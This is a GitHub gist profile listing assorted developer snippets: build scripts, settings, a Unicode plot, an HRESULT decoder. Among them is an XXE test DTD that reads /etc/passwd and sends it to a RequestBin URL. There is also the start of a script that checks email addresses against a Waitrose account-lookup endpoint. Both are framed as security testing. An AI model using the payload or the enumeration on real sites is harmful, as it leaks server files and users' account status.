Skip to content

Instantly share code, notes, and snippets.

View drewsberry's full-sized avatar

Drew - Account Moved drewsberry

View GitHub Profile
@drewsberry
drewsberry / UE4-build.bat
Last active February 21, 2024 07:33
UE4 Windows command line building
:: Build client
RunUAT BuildCookRun -project="full_path.uproject"^
-noP4 -platform=Win64^
-clientconfig=Development -serverconfig=Development^
-cook -allmaps -build -stage^
-pak -archive -archivedirectory="Output Directory"
:: Cook client
RunUAT BuildCookRun -project="full_project_path_and_project_name".uproject^
-noP4 -platform=Win64^
@drewsberry
drewsberry / gitjekgit.sh
Last active December 14, 2020 03:03
Useful Jekyll + Git Bash scripts
#!/bin/bash
# Run this scrript in the root directory of your Jekyll source
# repository for your GitHub page, and it will commit and push
# the source to origin/source, then build, commit and push the
# resuling HTML to your origin/master, i.e. your website. The
# commit message for both commits is given by the first
# argument.
if [[ -z "$1" ]]; then
@drewsberry
drewsberry / js-set-referrer.js
Created December 20, 2016 18:28
Set referrer header in JS.
// See https://stackoverflow.com/a/23434948
function setReferrerHeader(referrerName) {
Object.defineProperty(document, "referrer", {
get: function () { return referrerName; },
});
}
@drewsberry
drewsberry / plot_unicode_history.py
Last active December 27, 2018 13:54
Python script for plotting how many codepoints each Unicode version has assigned
from datetime import date
import numpy as np
import matplotlib
import matplotlib.pyplot as plt
data = [
# (version number, date, number of codepoints assigned)
("1.0.0", date(1991, 10, 1), 7161, ( 5 , 0)),
("1.0.1", date(1992, 6, 1), 28359, ( 5 , -8)),
@drewsberry
drewsberry / hresult-analyser.js
Created July 24, 2017 15:16
Analyse HRESULT 32-bit code for what it means in a human readable format.
const facilities = [
{
code: 0,
name: "FACILITY_NULL",
description: "The default facility code.",
},
{
code: 1,
name: "FACILITY_RPC",
description: "The source of the error code is an RPC subsystem.",
@drewsberry
drewsberry / xxe.dtd
Created April 11, 2017 17:45
XML Document Type Definition for testing for XXE (replace RequestBin URl with your own).
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://requestb.in/1fjht231?%data;'>">
@drewsberry
drewsberry / vscode-settings.json
Created March 16, 2017 14:50
My Visual Studio Code settings
{
"files.associations": {
"*.cfg": "plaintext"
},
"window.zoomLevel": 0,
"editor.renderWhitespace": "boundary",
"files.trimTrailingWhitespace": true,
"eslint.enable": true,
"eslint.run": "onType",
"files.insertFinalNewline": true,
@drewsberry
drewsberry / waitrose_account_enumeration.py
Last active February 9, 2017 12:35
Waitrose website expose a nice JSON API for account enumeration. This script utilises this endpoint to find out whether an input email address has an account with Waitrose.
import click
import requests
def has_waitrose_account(email_address):
""" Checks whether use with input email address has a Waitrose
account. """
enum_endpoint = "https://www.waitrose.com/shop/" + \
"LogonIdLookupCmd?_method=GET&" + \
@drewsberry
drewsberry / fix-wifi
Created January 4, 2017 22:04
Fix WiFi problems that sometimes happen on Ubuntu.
#!/bin/bash
if [[ $UID -ne 0 ]]; then
sudo "$0"
exit
fi
echo "Stopping network manager..."
service network-manager stop
echo "Done."
@drewsberry
drewsberry / ublock-filter.md
Created March 30, 2015 15:18
ublock Analytics Filter

ublock Allow Google Analytics

  • Go to ublock settings and select the "Filters" tab

  • In the box, copy the following filter rule in:

    @@||google-analytics.com^

  • Click "Apply changes"

  • You're done